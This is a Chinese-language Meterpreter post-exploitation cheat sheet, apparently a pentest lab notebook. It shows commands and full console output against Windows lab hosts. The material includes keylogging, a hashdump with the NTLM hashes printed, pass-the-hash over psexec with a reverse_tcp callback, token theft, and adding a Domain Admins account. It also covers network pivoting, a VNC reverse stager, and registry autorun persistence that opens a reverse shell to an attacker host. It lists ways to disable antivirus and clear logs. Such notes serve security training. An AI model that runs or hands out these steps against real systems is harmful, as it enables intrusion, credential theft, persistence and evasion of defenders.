Meterpreter
基本命令
- background 将meterpreter终端隐藏在后头
- sessions 查看已经成功获取的会话，如果想继续和某个会话进行交互，使用session -i命令
- quit 关闭当前会话
- shell 可以获取系统的控制台shell
- irb 可以在meterpreter中与ruby交互
文件系统命令
- cat 查看文件内容
- getwd 获得目标机上当前的工作目录
- upload 上传文件
meterpreter > upload -h Usage: upload [options] src1 src2 src3 ... destination Uploads local files and directories to the remote machine. OPTIONS: -h Help banner -r Upload recursively - download 下载文件
- edit 可以调用vi编辑器，进行编辑
- search 搜索
Usage: search [-d dir] [-r recurse] -f pattern [-f pattern]... Search for files. OPTIONS: -d <opt> The directory/drive to begin searching from. Leave empty to search all drives. (Default: ) -f <opt> A file pattern glob to search for. (e.g. *secret*.doc?) -h Help Banner -r <opt> Recursivly search sub directories. (Default: true)
网络命令
- ipconfig 查看网络接口信息
- portfwd 端口转发
meterpreter > portfwd -h Usage: portfwd [-h] [add | delete | list | flush] [args] OPTIONS: -L <opt> Forward: local host to listen on (optional). Reverse: local host to connect to. -R Indicates a reverse port forward. -h Help banner. -i <opt> Index of the port forward entry to interact with (see the "list" command). -l <opt> Forward: local port to listen on. Reverse: local port to connect to. -p <opt> Forward: remote port to connect to. Reverse: remote port to listen on. -r <opt> Forward: remote host to connect to. meterpreter > portfwd add -l 1234 -p 6001 -r 192.168.1.130 [*] Local TCP relay created: :1234 <-> 192.168.1.130:6001 - route 显示路由信息
系统命令
- ps 获得正在运行的进程信息
- migrate 将meterpreter会话从一个进程移植到另一个进程中
- execute 在目标机上执行文件
meterpreter > execute Usage: execute -f file [options] Executes a command on the remote machine. OPTIONS: -H Create the process hidden from view. -a <opt> The arguments to pass to the command. -c Channelized I/O (required for interaction). -d <opt> The 'dummy' executable to launch when using -m. -f <opt> The executable command to run. -h Help menu. -i Interact with the process after creating it. -k Execute process on the meterpreters current desktop -m Execute from memory. -s <opt> Execute process in a given session as the session user -t Execute process with currently impersonated thread token meterpreter > execute -H -f cmd.exe meterpreter > execute -H -m -d calc.exe -f wec.exe -a "-o foo.txt" - getpid 获得当前会话所在进程的PID
- kill 终结会话
- getuid 获得运行meterpreter会话的用户名
- sysinfo 得到目标系统的一些信息
- shutdown 关机
1. 截屏
meterpreter > screenshot
Screenshot saved to: /root/fLvRrVTL.jpeg
2. sysinfo
meterpreter > sysinfo
Computer : DH-CA8822AB9589
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/win32
meterpreter >
3. 获取键盘记录,run post/windows/capture/keylog_recorder
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
...
1308 1012 explorer.exe x86 0 DH-CA8822AB9589\Administrator C:\WINDOWS\Explorer.EXE
...
meterpreter > migrate 1308
[*] Migrating from 1420 to 1308...
[*] Migration completed successfully.
meterpreter > run post/windows/capture/keylog_recorder
[*] Executing module against DH-CA8822AB9589
[*] Starting the keylog recorder...
[*] Keystrokes being saved in to /root/.msf4/loot/20180926160428_default_10.10.10.100_host.windows.key_347969.txt
[*] Recording keystrokes...
^C[*] User interrupt.
[*] Shutting down keylog recorder. Please wait...
root@kali:~# vi /root/.msf4/loot/20180926160428_default_10.10.10.100_host.windows.key_347969.txt
Keystroke log from explorer.exe on DH-CA8822AB9589 with user DH-CA8822AB9589\Administrator started at 2018-09-26 16:04:28 +0800
1qaz2w
sx3edc4rfv5tgb
Keylog Recorder exited at 2018-09-26 16:04:55 +0800
4. 挖掘用户名和密码hashdump,use priv
windows系统存储哈希值的方式一般为LAN Manager（LM）、NT LAN Manager（NTLM），或NT LAN Manager v2（NTLMv2）。
在LM存储方式中，当用户首次输入密码或更改密码的时候，密码被转换为哈希值，由于哈希长度的限制，将密码切分为7个字符一组的哈希值。以password123456的密码为例，哈希值以passwor和d123456的方式存储，所以攻击者只需要简单地破解7个字符一组的密码，而不是原始的4个字符。而NTLM的存储方式跟密码长度无关，密码password123456将作为整体转换为哈希值存储。
meterpreter > use priv
[-] The 'priv' extension has already been loaded.
meterpreter > run post/windows/gather/hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 7be839f49edcab29c3a40fe24d47335f...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
No users with password hints on this system
[*] Dumping password hashes...
Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:32f842845a64f17ccbe6b10315169b7e:83789c0d8506a618d815fd9c6fb379e1:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:bb5a5a239a6e521be591fdf091b05013:::
IUSR_DH-CA8822AB9589:1003:de8b8cec054052bb8ab2d451a3e61856:145f992fa5ff125301520f8e27419c6d:::
IWAM_DH-CA8822AB9589:1004:90b05d38a1fc8d80a4ae31c7bc961352:2f950167d2942f7c977fdfd1857b8a59:::
以aad3b435开头的哈希值是一个空的或不存在的哈希值（空字串的占位符）
5. 传递哈希值
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 10.10.10.200
LHOST => 10.10.10.200
msf exploit(psexec) > set LPORT 443
LPORT => 443
msf exploit(psexec) > set RHOST 10.10.10.100
RHOST => 10.10.10.100
msf exploit(psexec) > set SMBUSER administrator
SMBUSER => administrator
msf exploit(psexec) > set SMBPASS 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
SMBPASS => 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
msf exploit(psexec) > exploit
[*] Started reverse TCP handler on 10.10.10.200:443
[*] 10.10.10.100:445 - Connecting to the server...
[*] 10.10.10.100:445 - Authenticating to 10.10.10.100:445 as user 'administrator'...
[-] 10.10.10.100:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)
[*] Exploit completed, but no session was created.
6. 权限提升
meterpreter > use priv
[-] The 'priv' extension has already been loaded.
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > getuid
Server username: DH-CA8822AB9589\bob
meterpreter >
7. 令牌假冒
7.1 使用PS
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
...
344 1308 cmd.exe x86 0 DH-CA8822AB9589\Administrator C:\WINDOWS\system32\cmd.exe
...
7.2 使用steal_token命令假冒域管理员账号
meterpreter > steal_token 344
Stolen token with username: DH-CA8822AB9589\Administrator
7.3 或者使用incognito模块列举出令牌
meterpreter > use incognito
Loading extension incognito...success.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
DH-CA8822AB9589\Administrator
DH-CA8822AB9589\bob
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
7.4 扮演Administrator令牌并添加一个新用户：
meterpreter > impersonate_token DH-CA8822AB9589\\Administrator
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user DH-CA8822AB9589\Administrator
meterpreter > add_user omgcompromised password -h 10.10.10.100
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[*] Attempting to add user omgcompromised to host 10.10.10.100
[+] Successfully added user
meterpreter > add_group_user "Domain Admins" omgcomoromised -h 10.10.10.100
[*] Attempting to add user omgcompromised to group Domain Admins on domain controller
10.10.10.100
[+] Successfully added user to group
meterpreter >
8. 通过跳板攻击其他机器
使用 run get_local_subnets,background,route add,route print,
meterpreter > sysinfo
Computer : ANTENNA-B23E701
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 5
Meterpreter : x86/windows
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 10.10.10.0/255.255.255.0
Local subnet: 192.168.1.0/255.255.255.0
meterpreter > background
[*] Backgrounding session 1...
msf exploit(unix/ftp/vsftpd_234_backdoor) > route add 10.10.10.0 255.255.255.0 1
[*] Route added
msf exploit(unix/ftp/vsftpd_234_backdoor) > route print
IPv4 Active Routing Table
=========================
Subnet Netmask Gateway
------ ------- -------
10.10.10.0 255.255.255.0 Session 1
[*] There are currently no IPv6 routes defined.
或者使用load auto_add_route,在攻击远程机器前使用，在攻破系统同时会有一个添加路由的操作
9. 使用Meterpreter脚本
VNC
meterpreter > run vnc
[*] Creating a VNC reverse tcp stager: LHOST=192.168.1.210 LPORT=4545
[*] Running payload handler
[*] VNC stager executable 73802 bytes long
[*] Uploaded the VNC agent to C:\WINDOWS\TEMP\LvyqUgisvE.exe (must be deleted manually)
[*] Executing the VNC agent with endpoint 192.168.1.210:4545...
meterpreter > Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
No authentication needed
Authentication successful
Desktop name "antenna-b23e701"
VNC server default format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding
解锁桌面，run screen_unlock
迁移进程，run post/windows/manage/migrate
关闭杀毒软件，run killav
获取系统密码哈希值,run hashdump
查看目标机上所有流量,run packetrecorder -i 1
攫取系统信息,run scraper
控制持久化
运行persistence脚本让系统开机自动启动Meterpreter（-X），50秒（-i 50）重连一次，使用的端口为443（-p 443），连接的目的地址为192.168.1.210 。
meterpreter > run persistence -X -i 50 -p 443 -r 192.168.1.210
[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/ANTENNA-B23E701_20180926.5455/ANTENNA-B23E701_20180926.5455.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.1.210 LPORT=443
[*] Persistent agent script is 99665 bytes long
[+] Persistent Script written to C:\WINDOWS\TEMP\YNbvBYkWbM.vbs
[*] Executing script C:\WINDOWS\TEMP\YNbvBYkWbM.vbs
[+] Agent executed with PID 2488
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\mPPZphFTpXu
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\mPPZphFTpXu
在192.168.1.210上使用use multi/handler并设置必要的参数进行监听：
msf > use multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LPORT 443
LPORT => 443
msf exploit(multi/handler) > set LHOST 192.168.1.210
LHOST => 192.168.1.210
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.210:443
[*] 192.168.1.111 - Meterpreter session 1 closed. Reason: Died
[*] Sending stage (179779 bytes) to 192.168.1.111
[*] Meterpreter session 7 opened (192.168.1.210:443 -> 192.168.1.111:1026) at 2018-09-26 11:08:42 -0400
[*] AutoAddRoute: Routing new subnet 10.10.10.0/255.255.255.0 through session 7
[*] AutoAddRoute: Routing new subnet 192.168.1.0/255.255.255.0 through session 7
[-] The 'stdapi' extension has already been loaded.
meterpreter >
10. 将命令行shell升级为Meterpreter,sessions -u {sessionsid}
11. 通过附加的Railgun组件操作Windows API
meterpreter > irb
[*] Starting IRB shell
[*] The "client" variable holds the meterpreter client
>> client.railgun.user32.MessageBoxA(0,"Hello","World","MB_OK")
meterpreter > irb
[*] Starting IRB shell
[*] The "client" variable holds the meterpreter client
>> client.sys.config.sysinfo()
=> {"Computer"=>"ROOT-TVI862UBEH", "OS"=>"Windows .NET Server (Build 3790).", "Architecture"=>"x86", "BuildTuple"=>nil, "System Language"=>"en_US", "Domain"=>"WORKGROUP", "Logged On Users"=>2}
>> client.railgun.shell32.IsUserAnAdmin
=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>true}
>> client.railgun.kernel32.SetThreadExecutionState("ES_CONTINUOUS|ES_SYSTEM_REQUIRED")
=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>2147483648}
12. 掩踪灭迹
- clearev 清除访问日志
- timestomp 修改文件的创建、最后访问的时间
13. 内网拓展
- 添加路由 用route命令添加路由
- 进行端口扫描
- 利用哈希口令进行攻击
- MS08-068和MS10-046漏洞配合
- 搭建SMB服务器 smb_relay模块
- 结果分析
15. 信息窃取
- dumplink 获得目标主机最近进行的系统操作，访问文件和文档的操作记录
- enum_applications 获得目标主机安装的软件，安全更新与漏洞补丁的信息
- keyscan 键盘记录的用户输入模块
14. 口令摄取和利用
- 网络嗅探 sniffer模块
- 通过浏览器进行摄取 enum_ie模块 读取缓存的IE浏览器密码
- 系统口令摄取 hashdump 直接获取系统的密码哈希 smart_hashdump 后渗透模块hash口令利用：直接用破解工具破解或者直接重放利用psexec: 利用系统口令哈希进行传递攻击